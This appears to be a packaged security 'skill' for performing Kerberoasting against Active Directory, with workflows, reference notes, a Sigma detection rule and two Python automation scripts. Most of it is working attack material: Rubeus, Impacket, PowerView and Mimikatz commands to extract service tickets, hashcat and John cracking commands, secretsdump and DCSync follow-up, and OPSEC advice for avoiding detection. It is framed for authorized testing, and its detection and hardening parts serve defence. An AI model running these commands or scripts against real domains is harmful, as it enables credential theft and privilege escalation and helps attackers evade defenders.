npx skills add mukul975/Anthropic-Cybersecurity-SkillsMITRE ATT&CK
NIST CSF 2.0
MITRE D3FEND
Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.
Overview
Kerberoasting is a post-exploitation technique that targets service accounts in Active Directory by requesting Kerberos TGS (Ticket Granting Service) tickets for accounts with Service Principal Names (SPNs) set. These tickets are encrypted with the service account's NTLM hash, allowing offline brute-force cracking without generating failed login events. It is one of the most common privilege escalation paths in AD environments because any domain user can request TGS tickets.
When to Use
- When conducting security assessments that involve performing kerberoasting attack
- When following incident response procedures for related security events
- When performing scheduled security testing or auditing activities
- When validating security controls through hands-on testing
Prerequisites
- Familiarity with red teaming concepts and tools
- Access to a test or lab environment for safe execution
- Python 3.8+ with required dependencies installed
- Appropriate authorization for any testing activities
MITRE ATT&CK Mapping
- T1558.003 - Steal or Forge Kerberos Tickets: Kerberoasting
- T1087.002 - Account Discovery: Domain Account
- T1069.002 - Permission Groups Discovery: Domain Groups
Workflow
Phase 1: SPN Enumeration
- Enumerate accounts with SPNs using LDAP queries
- Filter for user accounts (not computer accounts)
- Identify accounts with elevated privileges (adminCount=1)
- Prioritize accounts with weak password policies
Phase 2: TGS Ticket Request
- Request TGS tickets for identified SPN accounts
- Extract ticket data in crackable format (hashcat/john compatible)
- Ensure RC4 encryption is requested when possible (easier to crack)
- Document all requested tickets
Phase 3: Offline Cracking
- Use hashcat mode 13100 (Kerberos 5 TGS-REP etype 23) for RC4 tickets
- Use hashcat mode 19700 (Kerberos 5 TGS-REP etype 17) for AES-128
- Use hashcat mode 19800 (Kerberos 5 TGS-REP etype 18) for AES-256
- Apply targeted wordlists and rules based on password policy
Phase 4: Credential Validation
- Validate cracked credentials against domain
- Assess access level of compromised accounts
- Map accounts to BloodHound attack paths
- Document for engagement report
Tools and Resources
| Tool | Purpose | Platform |
|---|---|---|
| Rubeus | Kerberoasting and ticket manipulation | Windows (.NET) |
| Impacket GetUserSPNs.py | Remote Kerberoasting | Linux/Python |
| PowerView | SPN enumeration | Windows (PowerShell) |
| hashcat | Offline password cracking | Cross-platform |
| John the Ripper | Offline password cracking | Cross-platform |
Detection Indicators
- Event ID 4769: Kerberos Service Ticket Request with RC4 encryption (0x17)
- Anomalous TGS requests from a single account in short timeframe
- TGS requests for services the user normally does not access
- Honeypot SPN accounts with alerting on ticket requests
Validation Criteria
- SPN accounts enumerated and documented
- TGS tickets extracted in crackable format
- Offline cracking attempted with appropriate wordlists
- Cracked credentials validated
- Access level of compromised accounts assessed
References and resources
Everything below is rendered for inspection. Script files are read-only and never run.
References 3
api-reference.md1.6 KB
API Reference — Performing Kerberoasting Attack
Libraries Used
- subprocess: Execute ldapsearch, PowerShell, Impacket GetUserSPNs, wevtutil
- python-evtx: Parse Windows Security EVTX for Event ID 4769
- xml.etree.ElementTree: Parse EVTX XML event data
- impacket (external): GetUserSPNs.py for TGS ticket requests
CLI Interface
python agent.py enum --domain corp.example.com
python agent.py roast --domain corp.example.com [--user svc_account]
python agent.py analyze --file kerberoast_hashes.txt
python agent.py detect [--evtx security.evtx]Core Functions
enumerate_spn_accounts(domain) — Find SPN-enabled accounts
LDAP query for (servicePrincipalName=*). Falls back to PowerShell Get-ADUser.
Identifies high-value targets with admin group membership.
request_tgs_tickets(domain, username) — Execute Kerberoasting
Uses Impacket GetUserSPNs with -request flag. Outputs $krb5tgs$ hashes.
analyze_kerberoast_hashes(hash_file) — Assess hash crackability
Categorizes by encryption type: RC4 (etype 23, crackable) vs AES (etype 17/18).
detect_kerberoasting(evtx_file) — Detect attack via Event ID 4769
Flags TGS requests with RC4 encryption (0x17) as suspicious Kerberoasting indicators.
Encryption Types
| Etype | Algorithm | Crackability |
|---|---|---|
| 0x17 (23) | RC4-HMAC | HIGH — fast offline cracking |
| 0x11 (17) | AES128 | LOW — computationally expensive |
| 0x12 (18) | AES256 | LOW — computationally expensive |
Dependencies
pip install impacket python-evtxSystem: ldapsearch (optional), PowerShell with AD module (Windows)
standards.md2.6 KB
Standards and Framework References
MITRE ATT&CK - Credential Access (TA0006)
| Technique ID | Name | Description |
|---|---|---|
| T1558.003 | Steal or Forge Kerberos Tickets: Kerberoasting | Request TGS tickets for SPN accounts and crack offline |
| T1558 | Steal or Forge Kerberos Tickets | Parent technique for Kerberos attacks |
MITRE ATT&CK - Discovery (TA0007)
| Technique ID | Name | Description |
|---|---|---|
| T1087.002 | Account Discovery: Domain Account | Enumerate domain accounts with SPNs |
| T1069.002 | Permission Groups Discovery: Domain Groups | Identify group membership of SPN accounts |
Kerberos Authentication Protocol
Normal TGS Request Flow
- Client presents TGT to KDC (Domain Controller)
- KDC validates TGT and issues TGS ticket
- TGS ticket is encrypted with target service account's long-term key (NTLM hash)
- Client presents TGS to target service
- Service decrypts ticket and validates PAC
Kerberoasting Exploitation
- Any domain user can request TGS for any SPN
- TGS is encrypted with the service account password hash
- RC4 encryption (etype 23) uses NTLM hash directly
- AES encryption (etype 17/18) is slower to crack but still possible
- Cracking happens offline - no failed logon events generated
Encryption Types
| Etype | Algorithm | Hashcat Mode | Crack Difficulty |
|---|---|---|---|
| 23 | RC4-HMAC (NTLM) | 13100 | Easiest |
| 17 | AES128-CTS-HMAC-SHA1 | 19700 | Hard |
| 18 | AES256-CTS-HMAC-SHA1 | 19800 | Hardest |
NIST SP 800-63B - Authentication Guidelines
- Recommends minimum 8-character passwords
- Service accounts should use 25+ character passwords
- Managed Service Accounts (MSA/gMSA) automatically rotate passwords
CIS Benchmark - Kerberos Configuration
- Ensure 'Network security: Configure encryption types allowed for Kerberos' excludes RC4
- Monitor Event ID 4769 for anomalous service ticket requests
- Implement AES-only encryption for service accounts
- Use Group Managed Service Accounts where possible
Detection References
| Event ID | Description | Relevance |
|---|---|---|
| 4769 | Kerberos Service Ticket Operation | TGS request with etype |
| 4770 | Kerberos Service Ticket Renewed | Ticket renewal |
| 4768 | Kerberos Authentication Ticket (TGT) | Initial authentication |
Sigma Rule Reference
title: Kerberoasting Activity
logsource:
product: windows
service: security
detection:
selection:
EventID: 4769
TicketEncryptionType: '0x17'
ServiceName: '*$'
filter:
ServiceName: 'krbtgt'
condition: selection and not filterworkflows.md4.5 KB
Kerberoasting Attack Workflows
Workflow 1: Kerberoasting with Rubeus (Windows)
Step 1: Enumerate Kerberoastable Accounts
# List all Kerberoastable users
.\Rubeus.exe kerberoast /stats
# Full Kerberoasting - request all SPN tickets
.\Rubeus.exe kerberoast /outfile:kerberoast_hashes.txt
# Target specific user
.\Rubeus.exe kerberoast /user:svc_sql /outfile:svc_sql_hash.txt
# Request RC4 encrypted tickets specifically
.\Rubeus.exe kerberoast /rc4opsec /outfile:rc4_hashes.txt
# Request AES tickets
.\Rubeus.exe kerberoast /aes /outfile:aes_hashes.txt
# Kerberoast from a different domain
.\Rubeus.exe kerberoast /domain:child.targetdomain.local /outfile:child_hashes.txtStep 2: Targeted Kerberoasting (set SPN on account with GenericWrite)
# If you have GenericWrite/GenericAll on an account, set an SPN
Set-DomainObject -Identity targetuser -Set @{serviceprincipalname='nonexistent/SERVICE'}
# Request TGS for the newly set SPN
.\Rubeus.exe kerberoast /user:targetuser /outfile:targeted_hash.txt
# Clean up - remove the SPN
Set-DomainObject -Identity targetuser -Clear serviceprincipalnameWorkflow 2: Kerberoasting with Impacket (Linux)
Step 1: Remote Kerberoasting
# Basic Kerberoasting with password
impacket-GetUserSPNs targetdomain.local/user:Password123 -dc-ip 10.0.0.1 -request -outputfile kerberoast.txt
# With NTLM hash (pass-the-hash)
impacket-GetUserSPNs targetdomain.local/user -hashes :aad3b435b51404eeaad3b435b51404ee:NTHASH -dc-ip 10.0.0.1 -request
# Target specific user
impacket-GetUserSPNs targetdomain.local/user:Password123 -dc-ip 10.0.0.1 -request -outputfile kerberoast.txt -target-domain targetdomain.local
# Enumerate without requesting tickets
impacket-GetUserSPNs targetdomain.local/user:Password123 -dc-ip 10.0.0.1Workflow 3: Kerberoasting with PowerView (PowerShell)
# Import PowerView
Import-Module .\PowerView.ps1
# Find all users with SPNs
Get-DomainUser -SPN | Select-Object samaccountname, serviceprincipalname, admincount
# Get detailed SPN information
Get-DomainUser -SPN -Properties samaccountname,serviceprincipalname,pwdlastset,lastlogon,admincount
# Request TGS tickets using built-in cmdlet
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/sqlserver.targetdomain.local:1433"
# Export ticket from memory using Mimikatz
Invoke-Mimikatz -Command '"kerberos::list /export"'Workflow 4: Offline Password Cracking
Hashcat
# RC4 encrypted tickets (etype 23) - Hashcat mode 13100
hashcat -m 13100 kerberoast.txt /usr/share/wordlists/rockyou.txt --rules-file /usr/share/hashcat/rules/best64.rule
# AES-128 tickets (etype 17) - Hashcat mode 19700
hashcat -m 19700 aes_hashes.txt /usr/share/wordlists/rockyou.txt
# AES-256 tickets (etype 18) - Hashcat mode 19800
hashcat -m 19800 aes_hashes.txt /usr/share/wordlists/rockyou.txt
# Using custom rules for corporate passwords
hashcat -m 13100 kerberoast.txt wordlist.txt -r corporate.rule
# Brute force with mask (e.g., Summer2024!)
hashcat -m 13100 kerberoast.txt -a 3 '?u?l?l?l?l?l?d?d?d?d?s'
# Combined dictionary + rules
hashcat -m 13100 kerberoast.txt wordlist.txt -r /usr/share/hashcat/rules/d3ad0ne.rule -r /usr/share/hashcat/rules/toggles1.ruleJohn the Ripper
# Crack Kerberoast hashes
john --format=krb5tgs kerberoast.txt --wordlist=/usr/share/wordlists/rockyou.txt
# With rules
john --format=krb5tgs kerberoast.txt --wordlist=wordlist.txt --rules=KoreLogicRulesAppend4NumWorkflow 5: Post-Exploitation
Credential Validation
# Validate cracked credentials with CrackMapExec
crackmapexec smb 10.0.0.0/24 -u svc_sql -p 'CrackedPassword123!'
# Check if account has admin rights anywhere
crackmapexec smb 10.0.0.0/24 -u svc_sql -p 'CrackedPassword123!' --shares
# Check DCSync rights
crackmapexec smb 10.0.0.1 -u svc_sql -p 'CrackedPassword123!' -M dcsync
# Use credentials for further enumeration
impacket-secretsdump targetdomain.local/svc_sql:'CrackedPassword123!'@10.0.0.1OPSEC Considerations
- Request tickets for only a few accounts at a time to avoid detection
- Prefer AES tickets over RC4 - RC4 requests may trigger alerts
- Use /rc4opsec flag in Rubeus to avoid requesting RC4 for AES-enabled accounts
- Spread requests over time rather than requesting all at once
- Target accounts with older password change dates (more likely weak)
- Monitor for honeypot SPNs that may alert the SOC
Scripts 2
agent.py7.9 KB
#!/usr/bin/env python3
"""Agent for performing Kerberoasting attack simulation and detection — authorized testing only."""
import json
import argparse
import subprocess
from pathlib import Path
def enumerate_spn_accounts(domain=None):
"""Enumerate service principal name (SPN) accounts via LDAP query."""
cmd = ["ldapsearch", "-x", "-H", f"ldap://{domain}" if domain else "ldap://localhost",
"-b", f"dc={',dc='.join(domain.split('.'))}" if domain else "",
"(&(objectClass=user)(servicePrincipalName=*))",
"sAMAccountName", "servicePrincipalName", "memberOf", "pwdLastSet"]
try:
result = subprocess.run(cmd, capture_output=True, text=True, timeout=30)
accounts = []
current = {}
for line in result.stdout.splitlines():
if line.startswith("dn:"):
if current:
accounts.append(current)
current = {"dn": line[4:].strip()}
elif line.startswith("sAMAccountName:"):
current["username"] = line.split(":", 1)[1].strip()
elif line.startswith("servicePrincipalName:"):
current.setdefault("spns", []).append(line.split(":", 1)[1].strip())
elif line.startswith("memberOf:"):
current.setdefault("groups", []).append(line.split(":", 1)[1].strip())
if current and current.get("username"):
accounts.append(current)
high_value = [a for a in accounts if any("admin" in g.lower() for g in a.get("groups", []))]
return {
"domain": domain, "total_spn_accounts": len(accounts),
"high_value_targets": len(high_value),
"accounts": accounts[:30],
}
except FileNotFoundError:
return _powershell_spn_enum(domain)
except Exception as e:
return {"error": str(e)}
def _powershell_spn_enum(domain):
"""Fallback SPN enumeration via PowerShell Get-ADUser."""
cmd = ["powershell", "-Command",
"Get-ADUser -Filter {ServicePrincipalName -ne '$null'} -Properties ServicePrincipalName,MemberOf,PasswordLastSet | "
"Select-Object SamAccountName,ServicePrincipalName,PasswordLastSet,@{N='Groups';E={$_.MemberOf}} | "
"ConvertTo-Json -Depth 3"]
try:
result = subprocess.run(cmd, capture_output=True, text=True, timeout=30)
data = json.loads(result.stdout)
if isinstance(data, dict):
data = [data]
accounts = [{"username": a.get("SamAccountName"), "spns": a.get("ServicePrincipalName", []),
"password_last_set": a.get("PasswordLastSet"), "groups": a.get("Groups", [])} for a in data]
return {"total_spn_accounts": len(accounts), "accounts": accounts[:30]}
except Exception as e:
return {"error": f"PowerShell fallback failed: {e}"}
def request_tgs_tickets(domain, username=None):
"""Request TGS tickets for Kerberoasting using Impacket GetUserSPNs."""
cmd = ["python3", "-m", "impacket.examples.GetUserSPNs",
f"{domain}/", "-request", "-outputfile", "/tmp/kerberoast_hashes.txt"]
if username:
cmd += ["-target-user", username]
try:
result = subprocess.run(cmd, capture_output=True, text=True, timeout=60)
hash_file = Path("/tmp/kerberoast_hashes.txt")
hashes = []
if hash_file.exists():
for line in hash_file.read_text().strip().splitlines():
if line.startswith("$krb5tgs$"):
parts = line.split("$")
hashes.append({"hash_type": "krb5tgs", "spn": parts[3] if len(parts) > 3 else "",
"hash_preview": line[:80] + "..."})
return {
"domain": domain, "hashes_captured": len(hashes),
"output": result.stdout[:500], "hashes": hashes[:20],
"hash_file": str(hash_file) if hashes else None,
}
except FileNotFoundError:
return {"error": "Impacket not installed — pip install impacket"}
except Exception as e:
return {"error": str(e)}
def analyze_kerberoast_hashes(hash_file):
"""Analyze captured Kerberoast hashes."""
content = Path(hash_file).read_text(encoding="utf-8", errors="replace")
hashes = [line.strip() for line in content.splitlines() if line.strip().startswith("$krb5tgs$")]
enc_types = {"23": 0, "17": 0, "18": 0}
spns = []
for h in hashes:
parts = h.split("$")
if len(parts) >= 4:
etype = parts[2] if len(parts) > 2 else "unknown"
enc_types[etype] = enc_types.get(etype, 0) + 1
spns.append(parts[3] if len(parts) > 3 else "unknown")
crackable_rc4 = enc_types.get("23", 0)
return {
"total_hashes": len(hashes),
"encryption_types": enc_types,
"rc4_crackable": crackable_rc4,
"aes_hashes": enc_types.get("17", 0) + enc_types.get("18", 0),
"spn_targets": spns[:20],
"risk": "HIGH" if crackable_rc4 > 0 else "MEDIUM",
"recommendation": "Disable RC4 (etype 23) and enforce AES encryption" if crackable_rc4 > 0 else "AES encryption in use — harder to crack",
}
def detect_kerberoasting(evtx_file=None):
"""Detect Kerberoasting from Windows Security Event ID 4769."""
if evtx_file:
try:
import Evtx.Evtx as evtx
import xml.etree.ElementTree as ET
except ImportError:
return {"error": "python-evtx not installed — pip install python-evtx"}
suspicious = []
with evtx.Evtx(evtx_file) as log:
for record in log.records():
xml = record.xml()
root = ET.fromstring(xml)
ns = {"e": "http://schemas.microsoft.com/win/2004/08/events/event"}
event_id = root.find(".//e:EventID", ns)
if event_id is not None and event_id.text == "4769":
data = {d.get("Name"): d.text for d in root.findall(".//e:Data", ns)}
ticket_enc = data.get("TicketEncryptionType", "")
if ticket_enc == "0x17":
suspicious.append({
"service": data.get("ServiceName"), "client": data.get("TargetUserName"),
"ip": data.get("IpAddress"), "encryption": "RC4 (0x17)",
})
return {"evtx_file": evtx_file, "suspicious_tgs_requests": len(suspicious), "events": suspicious[:20]}
cmd = ["wevtutil", "qe", "Security", "/q:*[System[EventID=4769]]", "/f:text", "/c:100"]
try:
result = subprocess.run(cmd, capture_output=True, text=True, timeout=30)
rc4_count = result.stdout.lower().count("0x17")
return {"source": "live_event_log", "total_4769_events": result.stdout.count("Event ID"), "rc4_ticket_requests": rc4_count}
except Exception as e:
return {"error": str(e)}
def main():
parser = argparse.ArgumentParser(description="Kerberoasting Attack Agent (Authorized Testing Only)")
sub = parser.add_subparsers(dest="command")
e = sub.add_parser("enum", help="Enumerate SPN accounts")
e.add_argument("--domain", required=True)
r = sub.add_parser("roast", help="Request TGS tickets")
r.add_argument("--domain", required=True)
r.add_argument("--user", help="Target specific user")
a = sub.add_parser("analyze", help="Analyze captured hashes")
a.add_argument("--file", required=True)
d = sub.add_parser("detect", help="Detect Kerberoasting")
d.add_argument("--evtx", help="EVTX file to analyze")
args = parser.parse_args()
if args.command == "enum":
result = enumerate_spn_accounts(args.domain)
elif args.command == "roast":
result = request_tgs_tickets(args.domain, args.user)
elif args.command == "analyze":
result = analyze_kerberoast_hashes(args.file)
elif args.command == "detect":
result = detect_kerberoasting(args.evtx)
else:
parser.print_help()
return
print(json.dumps(result, indent=2, default=str))
if __name__ == "__main__":
main()
process.py14.2 KB
#!/usr/bin/env python3
"""
Kerberoasting Attack Automation Tool
Automates Kerberoasting workflow including:
- SPN enumeration via LDAP
- TGS ticket request and extraction
- Hash formatting for offline cracking
- Cracking result analysis and reporting
Usage:
python process.py --domain targetdomain.local --dc-ip 10.0.0.1 --username user --password Pass123 --enumerate
python process.py --domain targetdomain.local --dc-ip 10.0.0.1 --username user --password Pass123 --kerberoast
python process.py --analyze-hashes kerberoast_hashes.txt --cracked cracked.txt --output report.md
Requirements:
pip install impacket ldap3 rich
"""
import argparse
import json
import sys
from datetime import datetime
from pathlib import Path
try:
from rich.console import Console
from rich.table import Table
from rich.panel import Panel
except ImportError:
print("[!] Missing dependencies. Install with: pip install rich")
sys.exit(1)
console = Console()
def enumerate_spn_accounts(domain: str, dc_ip: str, username: str, password: str, use_hash: bool = False) -> list[dict]:
"""Enumerate domain accounts with SPNs set via LDAP."""
accounts = []
try:
import ldap3
from ldap3 import Server, Connection, SUBTREE, ALL
# Build LDAP connection
server = Server(dc_ip, get_info=ALL, use_ssl=False)
# Build DN from domain
domain_dn = ",".join([f"DC={part}" for part in domain.split(".")])
if use_hash:
# NTLM authentication with hash
conn = Connection(
server,
user=f"{domain}\\{username}",
password=password,
authentication=ldap3.NTLM,
)
else:
conn = Connection(
server,
user=f"{domain}\\{username}",
password=password,
authentication=ldap3.NTLM,
)
if not conn.bind():
console.print(f"[red][-] LDAP bind failed: {conn.last_error}[/red]")
return accounts
console.print(f"[green][+] Connected to {dc_ip} as {domain}\\{username}[/green]")
# Search for user accounts with SPNs
search_filter = "(&(objectCategory=person)(objectClass=user)(servicePrincipalName=*)(!(cn=krbtgt))(!(userAccountControl:1.2.840.113556.1.4.803:=2)))"
conn.search(
search_base=domain_dn,
search_filter=search_filter,
search_scope=SUBTREE,
attributes=[
"sAMAccountName",
"servicePrincipalName",
"memberOf",
"adminCount",
"pwdLastSet",
"lastLogon",
"description",
"distinguishedName",
"userAccountControl",
],
)
for entry in conn.entries:
account = {
"samaccountname": str(entry.sAMAccountName) if hasattr(entry, "sAMAccountName") else "",
"spn": [str(spn) for spn in entry.servicePrincipalName] if hasattr(entry, "servicePrincipalName") else [],
"memberof": [str(g) for g in entry.memberOf] if hasattr(entry, "memberOf") else [],
"admincount": str(entry.adminCount) if hasattr(entry, "adminCount") else "0",
"pwdlastset": str(entry.pwdLastSet) if hasattr(entry, "pwdLastSet") else "",
"lastlogon": str(entry.lastLogon) if hasattr(entry, "lastLogon") else "",
"description": str(entry.description) if hasattr(entry, "description") else "",
"dn": str(entry.distinguishedName) if hasattr(entry, "distinguishedName") else "",
}
accounts.append(account)
conn.unbind()
except ImportError:
console.print("[yellow][!] ldap3 not installed. Install with: pip install ldap3[/yellow]")
console.print("[yellow][!] Falling back to demonstration mode...[/yellow]")
except Exception as e:
console.print(f"[red][-] LDAP enumeration failed: {e}[/red]")
return accounts
def request_tgs_tickets(domain: str, dc_ip: str, username: str, password: str, target_users: list[str] | None = None) -> str:
"""Request TGS tickets for SPN accounts using Impacket."""
try:
from impacket.krb5.kerberosv5 import getKerberosTGT, getKerberosTGS
from impacket.krb5 import constants
from impacket.krb5.types import Principal, KerberosTime
from impacket import version
import impacket.krb5.asn1
console.print("[yellow][*] Requesting TGS tickets via Impacket...[/yellow]")
console.print(f"[yellow][*] Use impacket-GetUserSPNs for production usage:[/yellow]")
console.print(f"[cyan]impacket-GetUserSPNs {domain}/{username}:'{password}' -dc-ip {dc_ip} -request -outputfile kerberoast.txt[/cyan]")
return f"impacket-GetUserSPNs {domain}/{username}:'{password}' -dc-ip {dc_ip} -request -outputfile kerberoast.txt"
except ImportError:
console.print("[yellow][!] Impacket not installed. Generating command for manual execution.[/yellow]")
commands = []
# Generate Impacket command
commands.append(f"# Impacket GetUserSPNs (Linux)")
commands.append(f"impacket-GetUserSPNs {domain}/{username}:'{password}' -dc-ip {dc_ip} -request -outputfile kerberoast.txt")
commands.append("")
# Generate Rubeus command
commands.append("# Rubeus (Windows)")
commands.append(f".\\Rubeus.exe kerberoast /domain:{domain} /dc:{dc_ip} /outfile:kerberoast.txt")
commands.append("")
# Generate PowerShell command
commands.append("# PowerShell native")
commands.append("Add-Type -AssemblyName System.IdentityModel")
if target_users:
for user in target_users:
commands.append(f'# New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "{user}"')
return "\n".join(commands)
def generate_hashcat_commands(hash_file: str) -> list[str]:
"""Generate hashcat commands for cracking Kerberoast hashes."""
commands = [
f"# RC4 (etype 23) - Most common",
f"hashcat -m 13100 {hash_file} /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule",
"",
f"# AES-128 (etype 17)",
f"hashcat -m 19700 {hash_file} /usr/share/wordlists/rockyou.txt",
"",
f"# AES-256 (etype 18)",
f"hashcat -m 19800 {hash_file} /usr/share/wordlists/rockyou.txt",
"",
f"# Mask attack for common patterns (Season+Year+Special)",
f"hashcat -m 13100 {hash_file} -a 3 '?u?l?l?l?l?l?d?d?d?d?s'",
"",
f"# Combined wordlist + rules",
f"hashcat -m 13100 {hash_file} wordlist.txt -r /usr/share/hashcat/rules/d3ad0ne.rule",
"",
f"# Show cracked passwords",
f"hashcat -m 13100 {hash_file} --show",
]
return commands
def analyze_hash_file(hash_file: str) -> dict:
"""Analyze Kerberoast hash file for statistics."""
stats = {
"total_hashes": 0,
"rc4_hashes": 0,
"aes128_hashes": 0,
"aes256_hashes": 0,
"accounts": [],
}
try:
with open(hash_file, "r") as f:
for line in f:
line = line.strip()
if not line or line.startswith("#"):
continue
stats["total_hashes"] += 1
# Parse hashcat format: $krb5tgs$23$*user$domain$spn*$hash
if "$krb5tgs$23$" in line:
stats["rc4_hashes"] += 1
elif "$krb5tgs$17$" in line:
stats["aes128_hashes"] += 1
elif "$krb5tgs$18$" in line:
stats["aes256_hashes"] += 1
# Extract account name
parts = line.split("$")
for i, part in enumerate(parts):
if part.startswith("*"):
account = part.strip("*")
stats["accounts"].append(account)
break
except FileNotFoundError:
console.print(f"[red][-] Hash file not found: {hash_file}[/red]")
except Exception as e:
console.print(f"[red][-] Error analyzing hashes: {e}[/red]")
return stats
def generate_report(accounts: list[dict], hash_stats: dict | None, cracked: list[dict] | None, output_path: str):
"""Generate Kerberoasting assessment report."""
report = f"""# Kerberoasting Assessment Report
## Generated: {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}
---
## 1. Executive Summary
Kerberoasting assessment identified **{len(accounts)}** domain accounts with Service Principal Names (SPNs) configured. These accounts are vulnerable to offline password cracking attacks that can be performed by any authenticated domain user.
## 2. Enumerated SPN Accounts
| Account | Admin Count | SPNs | Password Last Set | Description |
|---------|-------------|------|-------------------|-------------|
"""
for acc in accounts:
spns = ", ".join(acc.get("spn", [])[:2])
report += f"| {acc['samaccountname']} | {acc.get('admincount', 'N/A')} | {spns} | {acc.get('pwdlastset', 'N/A')} | {acc.get('description', '')[:30]} |\n"
if hash_stats:
report += f"""
## 3. Hash Analysis
| Metric | Value |
|--------|-------|
| Total Hashes | {hash_stats['total_hashes']} |
| RC4 (etype 23) | {hash_stats['rc4_hashes']} |
| AES-128 (etype 17) | {hash_stats['aes128_hashes']} |
| AES-256 (etype 18) | {hash_stats['aes256_hashes']} |
"""
if cracked:
report += f"""
## 4. Cracked Credentials
| Account | Password Strength | Admin | Impact |
|---------|-------------------|-------|--------|
"""
for c in cracked:
report += f"| {c.get('account', 'N/A')} | {c.get('strength', 'N/A')} | {c.get('admin', 'N/A')} | {c.get('impact', 'N/A')} |\n"
report += """
## 5. Recommendations
### Immediate Actions
1. Change passwords for all Kerberoastable accounts to 25+ character random strings
2. Convert service accounts to Group Managed Service Accounts (gMSA) where possible
3. Remove unnecessary SPNs from user accounts
### Long-Term Mitigations
1. Enforce AES-only Kerberos encryption (disable RC4)
2. Implement Fine-Grained Password Policies for service accounts
3. Deploy honeypot SPN accounts with detection alerting
4. Regular auditing of accounts with SPNs
5. Monitor Event ID 4769 for anomalous TGS requests
## 6. MITRE ATT&CK Mapping
| Technique | ID | Status |
|-----------|----|--------|
| Kerberoasting | T1558.003 | Executed |
| Account Discovery | T1087.002 | Executed |
| Permission Groups Discovery | T1069.002 | Executed |
"""
out = Path(output_path)
out.parent.mkdir(parents=True, exist_ok=True)
with open(out, "w") as f:
f.write(report)
console.print(f"[green][+] Report saved to: {output_path}[/green]")
def main():
parser = argparse.ArgumentParser(description="Kerberoasting Attack Automation Tool")
parser.add_argument("--domain", help="Target domain")
parser.add_argument("--dc-ip", help="Domain Controller IP")
parser.add_argument("--username", help="Domain username")
parser.add_argument("--password", help="Password or NTLM hash")
parser.add_argument("--enumerate", action="store_true", help="Enumerate SPN accounts")
parser.add_argument("--kerberoast", action="store_true", help="Request TGS tickets")
parser.add_argument("--analyze-hashes", help="Path to hash file to analyze")
parser.add_argument("--cracked", help="Path to cracked results file")
parser.add_argument("--output", default="./kerberoast_report.md", help="Output path")
parser.add_argument("--generate-commands", action="store_true", help="Generate hashcat commands")
args = parser.parse_args()
accounts = []
if args.enumerate:
if not all([args.domain, args.dc_ip, args.username, args.password]):
console.print("[red][-] --domain, --dc-ip, --username, --password required[/red]")
return
console.print(f"[yellow][*] Enumerating SPN accounts in {args.domain}...[/yellow]")
accounts = enumerate_spn_accounts(args.domain, args.dc_ip, args.username, args.password)
if accounts:
table = Table(title=f"Kerberoastable Accounts in {args.domain}")
table.add_column("Account", style="red bold")
table.add_column("Admin", style="yellow")
table.add_column("SPNs", style="cyan")
table.add_column("Pwd Last Set", style="green")
for acc in accounts:
table.add_row(
acc["samaccountname"],
str(acc.get("admincount", "N/A")),
str(len(acc.get("spn", []))),
acc.get("pwdlastset", "N/A")[:20],
)
console.print(table)
else:
console.print("[yellow][!] No Kerberoastable accounts found (or enumeration failed)[/yellow]")
if args.kerberoast:
if not all([args.domain, args.dc_ip, args.username, args.password]):
console.print("[red][-] --domain, --dc-ip, --username, --password required[/red]")
return
commands = request_tgs_tickets(args.domain, args.dc_ip, args.username, args.password)
console.print(Panel(commands, title="Kerberoasting Commands"))
if args.analyze_hashes:
stats = analyze_hash_file(args.analyze_hashes)
table = Table(title="Hash Analysis")
table.add_column("Metric", style="cyan")
table.add_column("Value", style="green")
table.add_row("Total Hashes", str(stats["total_hashes"]))
table.add_row("RC4 (etype 23)", str(stats["rc4_hashes"]))
table.add_row("AES-128 (etype 17)", str(stats["aes128_hashes"]))
table.add_row("AES-256 (etype 18)", str(stats["aes256_hashes"]))
console.print(table)
if args.generate_commands:
hash_file = args.analyze_hashes or "kerberoast.txt"
commands = generate_hashcat_commands(hash_file)
console.print(Panel("\n".join(commands), title="Hashcat Cracking Commands"))
# Generate report if we have data
if accounts or args.analyze_hashes:
hash_stats = analyze_hash_file(args.analyze_hashes) if args.analyze_hashes else None
generate_report(accounts, hash_stats, None, args.output)
if __name__ == "__main__":
main()